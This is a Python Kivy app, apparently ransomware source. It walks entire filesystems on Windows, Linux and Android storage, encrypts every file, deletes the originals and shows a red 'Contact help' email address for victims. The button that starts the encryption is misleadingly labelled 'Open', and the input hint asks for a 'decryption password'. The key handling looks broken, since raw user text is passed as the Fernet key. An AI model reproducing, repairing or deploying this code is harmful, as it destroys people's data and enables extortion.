main.py

import os
import sys
import platform
from cryptography.fernet import Fernet
from kivy.app import App
from kivy.uix.boxlayout import BoxLayout
from kivy.uix.label import Label
from kivy.uix.textinput import TextInput
from kivy.uix.button import Button

# Function to encrypt a file
def encrypt_file(filepath, password):
    try:
        with open(filepath, 'rb') as f:
            data = f.read()
        fernet = Fernet(password)
        encrypted_data = fernet.encrypt(data)
        with open(filepath + '.encrypted', 'wb') as f:
            f.write(encrypted_data)
        os.remove(filepath)
        print("Encryption successful!")
    except Exception as e:
        print(f"Error: {str(e)}")

class EncryptionApp(App):
    def build(self):
        self.layout = BoxLayout(orientation='vertical')
        
        self.password_input = TextInput(hint_text='Enter decryption password')
        self.encrypt_button = Button(text='Open', on_press=self.encrypt_files)
        self.help_label = Label(text='Contact help jstarclintin@gmail.com', color=(1, 0, 0, 1))  # Added help label

        self.layout.add_widget(Label(text='Encryption Program'))
        self.layout.add_widget(self.password_input)
        self.layout.add_widget(self.encrypt_button)
        self.layout.add_widget(self.help_label)  # Added help label

        return self.layout
    
    def encrypt_files(self, instance):
        password = self.password_input.text.encode()  # Get password from TextInput
        system = platform.system()
        
        if system == "Linux":  # Linux-based systems (including Android)
            root_folders = ["/", "/storage/emulated/0/"]
        elif system == "Windows":  # Windows
            root_folders = ["C:\\"]
        else:
            print("Unsupported operating system.")
            return

        for root_folder in root_folders:
            try:
                for root, _, files in os.walk(root_folder):
                    for file in files:
                        file_path = os.path.join(root, file)
                        encrypt_file(file_path, password)
            except Exception as e:
                print(f"Error while walking directory: {str(e)}")

if __name__ == "__main__":
    EncryptionApp().run()